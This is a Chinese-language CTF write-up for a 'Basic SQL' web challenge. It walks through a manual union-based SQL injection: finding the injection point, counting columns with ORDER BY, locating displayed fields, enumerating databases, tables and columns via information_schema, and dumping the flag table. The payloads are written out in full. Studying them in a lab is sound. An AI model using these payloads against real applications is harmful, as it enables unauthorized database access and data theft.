web oj:Basic SQL

Basic SQL

知识准备

大致浏览了SQL注入的知识,大致题型以及解题步骤,附上博客地址,供参考。

  1. 了解SQL注入的理论知识 https://ctf-wiki.github.io/ctf-wiki/web/sqli/ +
    https://www.jb51.net/article/93434.htm
  2. 基本注入步骤(我觉得易理解的) https://cloud.tencent.com/developer/news/155446
    step1:寻找注入点
    step2:判断列数
    step3:报显位
    step4:联合查询数据库名、表名、字段名以及你需要的信息
  3. Sql常见题型整理 https://blog.csdn.net/huanghelouzi/article/details/82999684
  4. 手工注入示例:https://www.jb51.net/article/93442.htm
    (本题用这种方法)

题目描述


打开题目地址,界面如上,有一个搜索输入框,下边是News内容。根据题目是一个SQL注入题。

题目分析

  1. 找注入点
    在输入框中输入’,回车,页面出错,说明此处的单引号确实被服务器解析了。再加一个’,
    输入’’,没出错,说明此处的单引号被我们成功闭合了。可以说明此处存在着sql注入点。
  2. 判断列数
    用到order by,即排序。order by 1,就是按第一个字段排序。一开始我们会猜一个大概的数字,比如order by 5。如果报错说明不能按第5个字段进行排序,也就是说没有第5个字段。之后我们折半来猜,所以第二次猜3。order by 3 有回显说明有第三列。再试4,发现4报错。于是可以确认该表只有3个字段。
  3. 爆显位
    判断页面中显示的字段
    输入 -1' union select 1,2,3 #
    结果是2和3字段可以显示我们在输入的内容
  4. 联合查询数据库名、表名、字段名以及所需要的信息
    (1)查询数据库名(输入固定)
    输入-1' union select 1,2,group_concat(schema_name) from information_schema.schemata #

    有两个数据库,在第二个字段中显示的。
    (2)表名
    输入1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
    有f1agfl4gher3,news两个表,这里不截图了。
    (3)表中的字段名(列)
    1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名' #
    输入1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='f1agfl4gher3' #
    f1agfl4gher3表有id,h3r31sfl4g两个字段
    1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='news'#
    news有id,title,content三个字段
    (4)查看字段信息
    1' union select 1,字段名 from 表名 #
    看到f1agfl4gher3表很像有flag的样子,于是输入
    1' union select 1,id,h3r31sfl4g from f1agfl4gher3 #
    得到flag!

文章目录
  1. 1. Basic SQL
    1. 1.1. 知识准备
    2. 1.2. 题目描述
    3. 1.3. 题目分析